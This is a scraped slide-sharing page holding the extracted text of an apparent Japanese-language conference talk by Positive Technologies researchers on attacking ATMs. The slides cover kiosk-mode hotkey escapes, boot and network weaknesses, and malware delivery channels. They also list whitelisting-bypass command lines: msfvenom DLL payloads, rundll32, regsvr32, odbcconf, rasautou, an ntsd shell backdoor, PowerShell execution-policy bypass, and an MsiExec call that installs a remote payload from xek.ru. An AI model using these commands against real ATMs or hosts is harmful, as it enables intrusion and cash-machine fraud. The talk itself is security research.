Recommended
Recommended
More Related Content
What's hot
What's hot (13)
Viewers also liked
Viewers also liked (20)
Similar to Yunusov babin 7sins-pres_atm_v4(2)_jp
Similar to Yunusov babin 7sins-pres_atm_v4(2)_jp (20)
More from PacSecJP
More from PacSecJP (8)
Recently uploaded
Yunusov babin 7sins-pres_atm_v4(2)_jp
- 5. Заголовокアプリのセキュリティコントロールのバイパス 1. キオスクモードのバイパス方法 2. マルウェアの送達 3. アプリのセキュリティコントロールのバイパス
- 8. Заголовокセーフモード • F8 + セーフモードとコマンド プロンプト • ディレクトリサービスの復元モード • AC/DCの遊び
- 10. Заголовокホットキー • Win+R • Alt+Tab • Alt+F4 • Alt+Shift+ESC • F1-F12 • Shift x5 (Windows 7のみ) • Win+(他) http://www.techrepublic.com/blog/windows-and-office/the- complete-list-of-windows-logo-keyboard-shortcuts/
- 12. ЗаголовокAlwaysOnTop • マウスポインターの無効化 • AlwaysOnTopの設定 ATMは接続できません。 大変ご迷惑をおかけしています。
- 13. ЗаголовокP&P
- 14. ЗаголовокP&P
- 15. Заголовок起動プロセス • BIOSパスワード • ネットワークブート • セーフモード • 物理アクセス • OSアクセス • パスワード再利用 • ブートキット • ソフトウェアスキミング
- 16. Заголовок論理の脆弱性 • regedit/autorunからのセキュリティツールの起動 • Shift x5 • Win+U • Ctrl+C
- 17. Заголовок論理の脆弱性
- 18. Заголовок終わり
- 20. Заголовокネットワーク + Firewall VPN TLS MAC • OSのサービス • ソフトウェアのサービス （Solidcore、 UPDD、など） • 処理センター • Track2 • 処理センター • Track2 • 処理センター
- 21. Заголовокネットワークの脆弱性 • VPNの無効化 • 論理の脆弱性の部分 • TLSの無効化 • MACの無効化 • ファイルやレジストリの変更・操作
- 28. Заголовок権限昇格方法 • 任意コマンド実行 - XFS API X • コマンド実行 - priv escalation X • ファイルやレジストリの書き込み - セキュリティ設定変更 - • ファイルの読み込み - *** -
- 29. Заголовокデバイス管理 • ネットワークカード • ファイアウォールのバイパス • Plug & Play • USBメモリ • exeファイルのコンテンツへのローカルアクセス • Plug & Play • MS13-081 • キーボードとマウス（Teensy）
- 30. ЗаголовокOSレベルのマルウェア送達方法 • USBメモリ • SMB • Telnet • HTTP (bitsadmin/IE) • FTP (tftp, ftp, farmanagerのftp) • DNS (TXT) • HIDエミュレーション
- 31. Заголовокキーボード • ホットキー • F1-F12 • L/R CTRL, SHIFT, ALT, WIN, TAB, ESC
- 32. Заголовокキーボード • ホットキー • F1-F12 • L/R CTRL, SHIFT, ALT, WIN, TAB, ESC • F13-F24 • メディアキー（音量UPとDOWN、再生など） • 修飾キー (計算器やIEの起動)
- 35. ЗаголовокPlug & Play • ネットワーク機器 • メディア機器 (カメラ、音楽など)
- 38. Заголовок典型的な検証法 • フォルダーのホワイトリスト (c:windowssystem32など) • ファイルのホワイトリスト (c:windowssystem32calc.exe、 ipconfig.exeなど) • ハッシュチェック (通常SHA-256) • アプリ署名 (MS、Adobeなど) • 拡張機能のブラックリスト
- 40. Заголовок信頼されているアプリのファジング • for /f %%i in (C:commands.txt) do cmd /C %%i /? >> log.txt > more commands.txt: ATIEVXX.EXE ATMADM.EXE ATTRIB.EXE …. WUAUCLT.EXE WUPDMGR.EXE XCOPY.EXE
- 41. Заголовок公知方法 msfvenom -p windows/exec CMD=calc -f dll -o /tmp/ xek.dll • rundll32 C:xek.dll,@DllMain • regsvr32 /s /u xek.dll (call DllUnregisterServer) • DLL ハイジャック
- 42. Заголовок新しい方法 msfvenom -p windows/exec CMD=calc -f dll -o /tmp/ xek.dll • rundll32 C:xek.dll,@DllMain • regsvr32 /s /u xek.dll (call DllUnregisterServer) • DLL hijacking • rasautou -d C:xek.dll -p @DllMain12 -e 1 • odbcconf /a {REGSVR "C:xek.dll"}
- 43. Заголовок2000年からの技 • debug.exe C:xek.com (メモリ中の実行) • ntsd.exe C:xek.exe • forcedos.exe C:xek.com
- 44. ЗаголовокNTSD バックドア C:>ntsd calc.exe 0:000> .shell
- 46. Заголовок実行できる拡張子 (すべてではない) • bat, cmd • com, exe, scr • msp, msi, mst • dll, cpl, sys • hta, js, jse, vbe, vbs, vb, wsf, wsh, sct
- 47. Заголовок実行できる拡張子 (すべてではない) • bat, cmd • com, exe, scr • msp, msi, mst • dll, cpl, sys • hta, js, jse, vbe, vbs, vb, wsf, wsh, sct つまらない
- 48. Заголовок実行できる拡張子 PIFファイルはMS-DOS環境設定を指定し、MS-DOSのプログラムを Windowsで実行するためのファイル形式である。 PEヘッダーがないPE C:>copy xek.exe xek.pif C:>start xek.pif Hello World!
- 49. Заголовок実行できる拡張子？ C:>copy xek.exe xek.supersecrethackerextension C:>start xek.supersecrethackerextension
- 50. Заголовок実行できる拡張子 C:>copy xek.exe xek.supersecrethackerextension C:>start xek.supersecrethackerextension Hello World! • GUIがないアプリ • https://superuser.com/questions/619921/how-to-run-an-executable- file-without-exe-extension-using-cmd-script
- 53. ЗаголовокPowershell >WIN8 • Powershell –exec bypass –nop
- 54. ЗаголовокPowershell >WIN8 • Powershell –exec bypass –nop • Powershell –Version 2 –exec bypass -nop
- 55. Заголовок他の信頼されているアプリ(.NET) • MsiExec /i http://xek.ru/test.png /q • InstallUtil.exe 1. csc.exe /out:exeshell.exe exeshell.cs 2. InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe • regsvcs.exe xek.dll • http://www.blackhillsinfosec.com/?p=5257 • メモリ中の実行 ( https://stackoverflow.com/questions/3553875/load-an- exe-file-and-run-it-from-memory)
- 58. Заголовокアプリコントロールへの攻撃 • ローカルエクスプロイトコードがない • HTTP アップデート • 署名がないか、署名が壊れている • セキュリティ競合状態 • とても大きいファイルのハッシュ化 • 同時にexploit.exeを実行 • BOF https://www.ptsecurity.com/ww-en/about/news/131496/ https://www.ptsecurity.com/ww-en/about/news/240117/ https://www.ptsecurity.com/ww-en/about/news/283971/
- 60. Заголовок解決方法
- 61. Заголовокお礼 • 名無し君 ^_^ • Positive Technologies 研究チーム • ICS/SCADAチーム • リバースエンジニアリングチーム